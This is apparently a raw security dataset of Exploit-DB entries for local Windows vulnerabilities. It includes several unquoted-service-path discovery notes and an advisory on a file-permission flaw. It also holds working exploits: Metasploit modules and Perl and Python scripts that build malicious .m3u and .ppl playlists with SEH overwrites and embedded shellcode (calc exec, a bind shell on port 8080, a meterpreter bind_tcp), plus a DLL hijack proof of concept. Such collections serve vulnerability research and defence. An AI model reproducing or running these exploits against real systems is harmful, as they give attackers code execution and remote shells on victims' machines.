deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47724
Description: TexasSoft CyberPlanet 6.4.131 - 'CCSrvProxy' Unquoted Service Path
Type: local
Platform: windows
Date: 2019-11-29
Author: Cristian Ayala G

Exploit:
# Exploit Title: TexasSoft CyberPlanet 6.4.131 - 'CCSrvProxy' Unquoted Service Path
# Date: 2019-11-28
# Exploit Author: Cristian Ayala G
# Vendor Homepage: https://tenaxsoft.com/index.html
# Software Link: https://tenaxsoft.com/descargas.html
# Version: 6.4.131
# Tested on: Windows 10 Pro x64

##########################################################################

# Step to discover the unquoted Service:

C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr -i "auto" | findstr -i -v "C:\Windows\\ | findstr """
CCSrvProxy	CCSrvProxy	 C:\Program Files (x86)\TenaxSoft\CyberPlanet\SrvProxy.exe	Auto
Control de impresiones Tenax	ControldeImpresiones	C:\Program Files (x86)\TenaxSoft\CyberPlanet\TenaxService64.exe	Auto

##########################################################################

# Service info:

C:\Users\user>sc qc CCSrvProxy
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: CCSrvProxy
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\TenaxSoft\CyberPlanet\SrvProxy.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : CCSrvProxy
        DEPENDENCIAS       : Spooler
        NOMBRE_INICIO_SERVICIO: LocalSystem

##########################################################################
Exploit-DB #19176
Description: TFM MMPlayer - '.m3u' / '.ppl' Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2012-06-15
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'TFM MMPlayer (m3u/ppl File) Buffer Overflow',
			'Description'    => %q{
				This module exploits a buffer overflow in MMPlayer 2.2
				The vulnerability is triggered when opening a malformed M3U/PPL file
				that contains an overly long string, which results in overwriting a
				SEH record, thus allowing arbitrary code execution under the context
				of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'RjRjh Hack3r',                        # Original discovery and exploit
					'Brendan Coles <bcoles[at]gmail.com>'  # msf exploit
				],
			'References'     =>
				[
					[ 'OSVDB', '80532' ],
					[ 'BID', '52698' ],
					[ 'EDB', '18656' ], # .m3u
					[ 'EDB', '18657' ]  # .ppl
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'seh',
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested on:
					# Windows XP Pro SP3 - English
					# Windows Vista SP1 - English
					# Windows 7 Home Basic SP0 - English
					# Windows 7 Ultimate SP1 - English
					# Windows Server 2003 Enterprise SP2 - English
					[ 'Windows Universal', { 'Ret' => 0x00401390 } ], # p/p/r -> MMPlayer.exe
				],
			'Payload'        =>
				{
					'Size' => 4000,
					'BadChars' => "\x00\x0a\x0d",
					'DisableNops' => false
				},
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 23 2012',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppl'])
			], self.class)

	end

	def exploit

		nops   = make_nops(10)
		sc     = payload.encoded
		offset = Rex::Text.rand_text_alphanumeric(4103 - sc.length - nops.length)
		jmp    = Rex::Arch::X86.jmp(-4108)            # near jump 4103 bytes
		nseh   = Rex::Arch::X86.jmp_short(-7)         # jmp back 7 bytes
		nseh  << Rex::Text.rand_text_alphanumeric(2)
		seh    = [target.ret].pack('V')

		sploit  = nops
		sploit << sc
		sploit << offset
		sploit << jmp
		sploit << nseh
		sploit << seh

		# write file
		file_create(sploit)

	end
end
Exploit-DB #9047
Description: TFM MMPlayer 2.0 - '.m3u'/'.ppl' Universal Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2009-06-30
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl
#[+] Bug : TFM MMPlayer 2.0 (m3u/ppl) Universal Buffer Overflow Exploit (SEH)
#[+] Author : ThE g0bL!N
# # Greetz to all my friends
## Tested on: Windows XP Pro SP2 (Fr)
# Big Thnx :His0k4          
#Download:http://www.tfm.ro/mmplayer/download/mmplayer.zip
##########################################################
# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
my $shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44".
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x38\x4e\x47".
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x41\x4b\x38".
"\x4f\x45\x42\x42\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48".
"\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c".
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e".
"\x46\x4f\x4b\x53\x46\x55\x46\x32\x46\x50\x45\x47\x45\x4e\x4b\x58".
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x58\x4e\x50\x4b\x44".
"\x4b\x48\x4f\x55\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x38".
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33".
"\x42\x4c\x46\x46\x4b\x38\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x47".
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x37\x4e\x51\x4d\x4a".
"\x4b\x48\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b".
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x45\x41\x53".
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57".
"\x42\x45\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x35\x4a\x46\x4a\x39".
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x46\x41\x46".
"\x4e\x46\x43\x36\x42\x50\x5a";
my $pad1="D_Z"; #trick track
my $junk="\x41" x (4088-length($shellcode));
my $jmp="\xE9\x03\xF0\xFF\xFF";
my $pad2="\x42"x 12;
my $next_seh="\xEB\xED\x41\x42";
my $seh="\xB4\x28\x40\x00";

open(myfile,'>>exploit.m3u');
print myfile $pad1.$shellcode.$junk.$jmp.$pad2.$next_seh.$seh;

# milw0rm.com [2009-06-30]
Exploit-DB #49852
Description: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-05-10
Author: Erick Galindo

Exploit:
# Exploit Title: TFTP Broadband 4.3.0.1465 - 'tftpt.exe' Unquoted Service Path
# Discovery by: Erick Galindo 
# Discovery Date: 2020-05-07
# Vendor Homepage: https://www.weird-solutions.com
# Software :  https://www.weird-solutions.com/download/products/tftpbbv4_retail_x64.exe
# Tested Version: 4.3.0.1465
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro  x64 es
# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i  "tftpt"
TFTP Broadband 4            TFTP Broadband 4                 C:\Program Files\TFTP Broadband 4\tftpt.exe               Auto

C:\>sc qc "TFTP Broadband 4"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: TFTP Broadband 4
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\TFTP Broadband 4\tftpt.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : TFTP Broadband 4
        DEPENDENCIAS       : Nsi
                           : Afd
                           : NetBT
                           : Tcpip
        NOMBRE_INICIO_SERVICIO: LocalSystem

#Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.
Exploit-DB #48085
Description: TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path
Type: local
Platform: windows
Date: 2020-02-17
Author: boku

Exploit:
# Exploit Title: TFTP Turbo 4.6.1273 - 'TFTP Turbo 4' Unquoted Service Path
# Exploit Author: boku
# Date: 2020-02-10
# Vendor Homepage: https://www.weird-solutions.com
# Software Link: https://www.weird-solutions.com/download/products/tftptv4_retail_IA32.exe
# Version: 4.6.1273
# Tested On: Windows 10 (32-bit)

C:\Users\nightelf>wmic service get name, pathname, startmode | findstr "TFTP" | findstr /i /v """
TFTP Turbo 4       C:\Program Files\TFTP Turbo 4\tftpt.exe           Auto

C:\Users\nightelf>sc qc "TFTP Turbo 4"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: TFTP Turbo 4
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\TFTP Turbo 4\tftpt.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : TFTP Turbo 4
        DEPENDENCIES       : Nsi
                           : Afd
                           : NetBT
                           : Tcpip
        SERVICE_START_NAME : LocalSystem
Exploit-DB #51076
Description: Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-27
Author: Ismael Nava

Exploit:
# Exploit Title: Tftpd32_SE 4.60 - 'Tftpd32_svc' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 10-13-2022
# Vendor Homepage: https://pjo2.github.io/tftpd64/
# Software Links : https://bitbucket.org/phjounin/tftpd64/downloads/Tftpd32_SE-4.60-setup.exe
# Tested Version: 4.60
# Vulnerability Type: Unquoted Service Path
# Tested on OS:  Microsoft Windows 10 Home 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """

Tftpd32 service edition   Tftpd32_svc   C:\Program Files (x86)\Tftpd32_SE\tftpd32_svc.exe   Auto

C:\>sc qc Tftpd32_svc

NOMBRE_SERVICIO: Tftpd32_svc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Tftpd32_SE\tftpd32_svc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Tftpd32 service edition
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50004
Description: Tftpd64 4.64 - 'Tftpd32_svc' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-06-14
Author: Brian Rodriguez

Exploit:
# Exploit Title: Tftpd64 4.64 - 'Tftpd32_svc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://bitbucket.org/phjounin/tftpd64/src/master/
# Software Links: https://bitbucket.org/phjounin/tftpd64/wiki/Download%20Tftpd64.md
# Tested Version: 4.64
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Tftpd32 service edition     Tftpd32_svc     C:\Program
Files\Tftpd64_SE\tftpd64_svc.exe   Auto

C:\Users\IEUser>sc qc Tftpd32_svc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Tftpd32_svc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Tftpd64_SE\tftpd64_svc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Tftpd32 service edition
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #37780
Description: ThinPrint - 'tpfc.dll' Insecure Library Loading Arbitrary Code Execution
Type: local
Platform: windows
Date: 2012-09-04
Author: Moshe Zioni

Exploit:
// source: https://www.securityfocus.com/bid/55421/info

ThinPrint is prone to a vulnerability that lets attackers execute arbitrary code.

Exploiting this issue allows local attackers to execute arbitrary code with the privileges of the user running the affected application. 

#include <windows.h> 

	int hijack_poc () 
	{ 
	  WinExec ( "calc.exe" , SW_NORMAL );
	  return 0 ; 
	} 
	  
	BOOL WINAPI DllMain 
		 (	HINSTANCE hinstDLL , 
			DWORD dwReason ,
			LPVOID lpvReserved ) 
	{ 
	  hijack_poc () ;
	  return 0 ;
	}
Exploit-DB #35423
Description: Thomson Reuters Fixed Assets CS 13.1.4 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2014-12-02
Author: Information Paradox

Exploit:
# Exploit Title: Thomson Reuters Fixed Assets CS <=13.1.4 Local Privilege
Escalation/Code Execution



# Date: 12/1/14

# Exploit Author: singularitysec@gmail.com

# Vendor Homepage: https://cs.thomsonreuters.com

# Version: Fixed Assets CS <=13.1.4 Local Privilege Escalation/Code
Execution

# Tested on: Windows XP -> Windows 7, Windows 8

# CVE : 2014-9141



Product Affected:


Fixed Assets CS <=13.1.4 (Workstation Install)


Note: 2003/2008 Terminal Services/Published apps **may** be vulnerable,
depending on system configuration.


This vulnerability has been reference checked against multiple

installs. This configuration was identical across all systems and each

version encountered.


Executables/Services:


C:\WinCSI\Tools\connectbgdl.exe


Attack Detail:


The Fixed Assets CS installer places a system startup item at
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup


Which then executes the utility at C:\WinCSI\Tools\connectbgdl.exe.










The executables that are installed, by default, allow AUTHENTICATED USERS


to modify, replace or alter the file.





This would allow an attacker to inject their code or replace the executable
and have it run in the context


of an authenticated user.



An attacker can use this to escalate privileges to the highest privileged
level of user to sign on to the system. This would require them to stop the
vulnerable executable


or reboot the system. The executable appears to only allow on instance to
be executed at a time by default, the attacker would need to restart or
kill the process. These are the default settings for this process.






This could compromise a machine on which it was


installed, giving the process/attacker access to the machine in


question or execute code as that user.



An attacker can replace the file or append code to the


executable, reboot the system or kill the process and it would then


compromise the machine when a higher privileged user (administrator) logged
in.



This affects workstation builds. It may be possible on legacy
servers/published application platforms but this was not tested.




Remediation:



Remove the modify/write permissions on the executables to allow only


privileged users to alter the files.


Apply vendor patch when distributed.




Vulnerability Discovered: 11/27/2014


Vendor Notified: 12/1/2014






Website: www.information-paradox.net


This vulnerability was discovered by singularitysec@gmail.com. Please


credit the author in all references to this exploit.
Exploit-DB #37730
Description: Tomabo MP4 Player 3.11.3 - '.m3u' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-08-07
Author: Saeid Atabaki

Exploit:
#!/usr/bin/python
# Exploit Title: Tomabo MP4 Player 3.11.3 - (.m3u) SEH Buffer Overflow 
# Date: 03/08/2015
# Exploit Author: Saeid Atabaki
# E-Mail: bytecod3r <at> gmail.com, saeid <at> Nsecurity.org
# Linkedin: https://www.linkedin.com/in/saeidatabaki
# Vendor Homepage: http://tomabo.com/mp4-player/index.html
# Version: 3.11.3
# Tested on: Windows XP SP3
#---------------------------------------------------------------------#
# Badchars: "\x00\x0a\x0d\x0c\x20\x09\x1a"'
#
# nc 192.168.11.136 8080
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Documents and Settings\Administrator\Desktop>
#---------------------------------------------------------------------# 

import sys, struct
file="crash.m3u"

# Windows bind shell port 8080, feel free to swap shellcode
sc =  ""
sc += "\xdd\xc1\xd9\x74\x24\xf4\xb8\xd3\x4b\xb2\xa4\x5d\x31"
sc += "\xc9\xb1\x53\x31\x45\x17\x83\xc5\x04\x03\x96\x58\x50"
sc += "\x51\xe4\xb7\x16\x9a\x14\x48\x77\x12\xf1\x79\xb7\x40"
sc += "\x72\x29\x07\x02\xd6\xc6\xec\x46\xc2\x5d\x80\x4e\xe5"
sc += "\xd6\x2f\xa9\xc8\xe7\x1c\x89\x4b\x64\x5f\xde\xab\x55"
sc += "\x90\x13\xaa\x92\xcd\xde\xfe\x4b\x99\x4d\xee\xf8\xd7"
sc += "\x4d\x85\xb3\xf6\xd5\x7a\x03\xf8\xf4\x2d\x1f\xa3\xd6"
sc += "\xcc\xcc\xdf\x5e\xd6\x11\xe5\x29\x6d\xe1\x91\xab\xa7"
sc += "\x3b\x59\x07\x86\xf3\xa8\x59\xcf\x34\x53\x2c\x39\x47"
sc += "\xee\x37\xfe\x35\x34\xbd\xe4\x9e\xbf\x65\xc0\x1f\x13"
sc += "\xf3\x83\x2c\xd8\x77\xcb\x30\xdf\x54\x60\x4c\x54\x5b"
sc += "\xa6\xc4\x2e\x78\x62\x8c\xf5\xe1\x33\x68\x5b\x1d\x23"
sc += "\xd3\x04\xbb\x28\xfe\x51\xb6\x73\x97\x96\xfb\x8b\x67"
sc += "\xb1\x8c\xf8\x55\x1e\x27\x96\xd5\xd7\xe1\x61\x19\xc2"
sc += "\x56\xfd\xe4\xed\xa6\xd4\x22\xb9\xf6\x4e\x82\xc2\x9c"
sc += "\x8e\x2b\x17\x08\x86\x8a\xc8\x2f\x6b\x6c\xb9\xef\xc3"
sc += "\x05\xd3\xff\x3c\x35\xdc\xd5\x55\xde\x21\xd6\x46\x8f"
sc += "\xaf\x30\x12\xbf\xf9\xeb\x8a\x7d\xde\x23\x2d\x7d\x34"
sc += "\x1c\xd9\x36\x5e\x9b\xe6\xc6\x74\x8b\x70\x4d\x9b\x0f"
sc += "\x61\x52\xb6\x27\xf6\xc5\x4c\xa6\xb5\x74\x50\xe3\x2d"
sc += "\x14\xc3\x68\xad\x53\xf8\x26\xfa\x34\xce\x3e\x6e\xa9"
sc += "\x69\xe9\x8c\x30\xef\xd2\x14\xef\xcc\xdd\x95\x62\x68"
sc += "\xfa\x85\xba\x71\x46\xf1\x12\x24\x10\xaf\xd4\x9e\xd2"
sc += "\x19\x8f\x4d\xbd\xcd\x56\xbe\x7e\x8b\x56\xeb\x08\x73"
sc += "\xe6\x42\x4d\x8c\xc7\x02\x59\xf5\x35\xb3\xa6\x2c\xfe"
sc += "\xc3\xec\x6c\x57\x4c\xa9\xe5\xe5\x11\x4a\xd0\x2a\x2c"
sc += "\xc9\xd0\xd2\xcb\xd1\x91\xd7\x90\x55\x4a\xaa\x89\x33"
sc += "\x6c\x19\xa9\x11"

payload = "\x90" * 1028 + "\xeb\x18\x90\x90" + "\x69\x9e\x48\x00"  + "\x90" * 20 + sc

writeFile = open (file, "w")
writeFile.write( payload )
writeFile.close()
Exploit-DB #38486
Description: Tomabo MP4 Player 3.11.6 - Local Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2015-10-18
Author: yokoacc_ nudragn_ rungga_reksya

Exploit:
#!/usr/bin/python

#####################################################################
# Exploit Title: Tomabo MP4 Player 3.11.6 SEH Based Stack Overflow  #
# Exploit Author: @yokoacc, @nudragn, @rungga_reksya                #
# Vendor Homepage: http://www.tomabo.com/                           #
# Software Link: http://www.tomabo.com/mp4-player/download.html     #
# Vulnerable App: Attached                                          #
# Version: 3.11.6 (possibility <= 3.11.6)                           #
# Tested on: Windows XP, 7, 8, and 8.1                              #
# Special Thanks to: @OffsecTraining                                #
# Vendor Notification: August 30th, 2015                            #
# Fixed Date: Around September 16th, 2015 (didn't response yet)     #
# Public Disclosure: October 18th, 2015                             #
#####################################################################

# How to: Run the code and open the m3u file with the Vulnerable MP4 Player by Tomabo
# Bad Character = '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20'
# Payload= windows/meterpreter/bind_tcp ; PORT=4444

file ="whatever.m3u"

load = "\x41" * 1028
load += "\xeb\x08\x90\x90"
load += "\xA9\x1C\x40\x00"
load += "\x90" * 16
load += ("\xdb\xde\xbd\xbc\x9e\x98\xd8\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x48\x31\x6f\x18\x03\x6f\x18\x83\xef\x40\x7c\x6d\x24\x50\x03"
"\x8e\xd5\xa0\x64\x06\x30\x91\xa4\x7c\x30\x81\x14\xf6\x14\x2d"
"\xde\x5a\x8d\xa6\x92\x72\xa2\x0f\x18\xa5\x8d\x90\x31\x95\x8c"
"\x12\x48\xca\x6e\x2b\x83\x1f\x6e\x6c\xfe\xd2\x22\x25\x74\x40"
"\xd3\x42\xc0\x59\x58\x18\xc4\xd9\xbd\xe8\xe7\xc8\x13\x63\xbe"
"\xca\x92\xa0\xca\x42\x8d\xa5\xf7\x1d\x26\x1d\x83\x9f\xee\x6c"
"\x6c\x33\xcf\x41\x9f\x4d\x17\x65\x40\x38\x61\x96\xfd\x3b\xb6"
"\xe5\xd9\xce\x2d\x4d\xa9\x69\x8a\x6c\x7e\xef\x59\x62\xcb\x7b"
"\x05\x66\xca\xa8\x3d\x92\x47\x4f\x92\x13\x13\x74\x36\x78\xc7"
"\x15\x6f\x24\xa6\x2a\x6f\x87\x17\x8f\xfb\x25\x43\xa2\xa1\x21"
"\xa0\x8f\x59\xb1\xae\x98\x2a\x83\x71\x33\xa5\xaf\xfa\x9d\x32"
"\xd0\xd0\x5a\xac\x2f\xdb\x9a\xe4\xeb\x8f\xca\x9e\xda\xaf\x80"
"\x5e\xe3\x65\x3c\x57\x42\xd6\x23\x9a\x34\x86\xe3\x35\xdc\xcc"
"\xeb\x6a\xfc\xee\x21\x03\x94\x12\xca\x3d\x38\x9a\x2c\x57\xd0"
"\xca\xe7\xc0\x12\x29\x30\x76\x6d\x1b\x68\x10\x26\x4d\xaf\x1f"
"\xb7\x5b\x87\xb7\x33\x88\x13\xa9\x44\x85\x33\xbe\xd2\x53\xd2"
"\x8d\x43\x63\xff\x64\x83\xf1\x04\x2f\xd4\x6d\x07\x16\x12\x32"
"\xf8\x7d\x29\xfb\x6c\x3e\x45\x04\x61\xbe\x95\x52\xeb\xbe\xfd"
"\x02\x4f\xed\x18\x4d\x5a\x81\xb1\xd8\x65\xf0\x66\x4a\x0e\xfe"
"\x51\xbc\x91\x01\xb4\x3c\xed\xd7\xf0\x4a\x1f\xe4")

load += "\x44" * (1800 - len(load))

writeFile = open (file, "w")
writeFile.write(load)
writeFile.close()
Exploit-DB #39980
Description: Tomabo MP4 Player 3.11.6 - Local Stack Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2016-06-20
Author: s0nk3y

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Tomabo M3U SEH Based Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack over flow in Tomabo MP4 Player <= 3.11.6. When
          the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
          for the execution of arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
        'yokoacc', # Proof of concept
        'nudragn', # Proof of concept
        'rungga_reksya', # Proof of concept
        'rahmat_nurfauzi' # Metasploit module
      	],
      'References'     =>
        [
          [ 'EDB', '38486' ],
          [ 'URL', 'http://www.tomabo.com/mp4-player/download.html'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'StackAdjustment' => -3500,
          'DisableNops' => 'True',         
        },
      'Payload'        =>
        {
          'Space'    => 1800,
          'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20"
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Tomabo MP4 Player <= 3.11.6', { 'Ret' => 0x00401CA9 } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 18 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.m3u']),
      ], self.class)
  end

  def exploit
  	sploit = rand_text_alpha_upper(1028)
  	sploit << "\xeb\x08\x90\x90" # short jump 8 bytes
  	sploit << [target.ret].pack('V') # universal
  	sploit << "\x90" * 16
  	sploit << payload.encoded
  	sploit << "\x44" * 436

  	playlist = sploit
	print_status("Creating '#{datastore['FILENAME']}' file ...")

  	file_create(playlist)
  end	
end